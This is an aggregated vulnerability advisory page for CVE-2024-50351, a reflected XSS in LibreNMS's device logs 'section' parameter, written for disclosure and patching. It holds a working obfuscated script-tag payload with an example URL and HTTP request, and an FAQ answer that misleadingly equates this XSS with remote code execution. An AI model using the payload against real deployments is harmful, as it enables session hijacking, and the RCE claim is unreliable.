CVE-2024-50351: LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/functions.php
First published: Fri Nov 15 2024(Updated: )
### Summary A Reflected Cross-Site Scripting (XSS) vulnerability in the "section" parameter of the "logs" tab of a device allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious "section" parameter, potentially compromising their session and enabling unauthorized actions. The issue arises from a lack of sanitization in the "report_this()" function. ### Details The "section" parameter of the "logs" tab is vulnerable to reflected XSS. An attacker can inject the following XSS payload into the "section" parameter: ```<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript>``` When the page is loaded with this malicious parameter, the script executes immediately. This vulnerability occurs due to the lack of sanitization in the "report_this()" function. Other endpoints using this same function may also be vulnerable. The vulnerable sink is located here: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/functions.php#L523 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/logs.inc.php#L93 ### PoC 1. Inject the following payload into the "section" parameter of the "logs" tab: ```<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript>``` 2. Access the page with the injected payload. 3. Observe that the injected script executes when the page is loaded. Example URL: ```http://<your_url>/device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/``` Example Request: ```http GET /device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/ HTTP/1.1 Host: <your_host> Cookie: <your_cookie> ``` ### Impact This vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session by crafting a malicious URL. The attack could lead to session hijacking, unauthorized actions, or further exploitation by injecting malicious scripts.
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| composer/librenms/librenms | <=24.9.1 | 24.10.0 |
| LibreNMS | <24.10.0 |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
Reference Links
Frequently Asked Questions
What is the severity of CVE-2024-50351?
CVE-2024-50351 is classified as a high severity Reflected Cross-Site Scripting (XSS) vulnerability.
How do I fix CVE-2024-50351?
To fix CVE-2024-50351, upgrade to librenms/librenms version 24.10.0 or later.
What software is affected by CVE-2024-50351?
CVE-2024-50351 affects librenms/librenms versions up to 24.9.1 inclusive.
Can CVE-2024-50351 lead to remote code execution?
Yes, CVE-2024-50351 allows an attacker to execute arbitrary JavaScript code, which can lead to remote code execution.
Is user interaction required for CVE-2024-50351 exploitation?
Yes, user interaction is required as the malicious script executes when a user accesses the vulnerable page.
- agent/title
- agent/weakness
- agent/type
- agent/description
- agent/first-publish-date
- agent/event
- agent/references
- agent/author
- collector/mitre-cve
- source/MITRE
- agent/severity
- agent/remedy
- agent/softwarecombine
- collector/github-advisory-latest
- source/GitHub
- alias/GHSA-v7w9-63xh-6r3w
- alias/CVE-2024-50351
- agent/software-canonical-lookup
- agent/last-modified-date
- agent/trending
- collector/github-advisory
- agent/source
- agent/tags
- collector/nvd-cve
- source/NVD
- agent/software-canonical-lookup-request
- collector/nvd-api
- package-manager/composer
- vendor/librenms
- canonical/librenms